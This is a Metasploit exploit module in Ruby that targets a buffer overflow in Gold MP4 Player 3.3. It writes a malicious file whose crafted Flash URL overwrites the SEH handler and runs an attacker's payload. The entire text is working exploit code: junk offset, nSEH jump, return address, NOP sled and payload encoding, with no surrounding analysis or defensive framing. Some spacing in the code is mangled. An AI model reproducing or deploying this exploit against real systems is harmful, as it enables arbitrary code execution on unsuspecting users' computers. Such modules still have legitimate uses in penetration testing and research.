require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit:: FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super (update_info(info,
'Name' => 'Gold MP4 Player 3.3 Universal SEH Exploit' ,
'Description' => %q{
This module exploits a buffer overflow in Gold MP4 Player 3 . 3 .
When this application is loaded a special crafted Flash URL via File -> Open Flash URL . Buffer overflow happens and it allowing arbitrary code execution.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Revin Hadi S' ,
'Gabor Seljan'
],
'Version' => '$Revision: $' ,
'References' =>
[
[ 'URL' , 'http://www.exploit-db.com/exploits/31914/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh' ,
'DisablePayloadHandler' => 'true'
},
'Payload' =>
{
'Space' => 1000 ,
'BadChars' => "\x00\x0a\x0d\x20" ,
'StackAdjustment' => - 3500 ,
},
'Platform' => 'win' ,
'Targets' =>
[
[ 'Windows Universal' , { 'Ret' => 0x100F041C, 'Offset' => 253 } ],
],
'Privileged' => false ,
'DisclosureDate' => 'Date' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'FILENAME' , [ true , 'The file name contains malicious Flash URL.' , 'evil.txt' ]),
], self . class )
end
def exploit
http = "http://"
junk = "\x41" * (target[ 'Offset' ])
nseh = "\xEB\x06\x90\x90"
format = ".swf"
sploit = http + junk + nseh + [target[ 'Ret' ]].pack( 'V' ) + make_nops( 16 ) + payload.encoded + format
print_status( "Creating '#{datastore['FILENAME']}' file ..." )
file_create(sploit)
end
|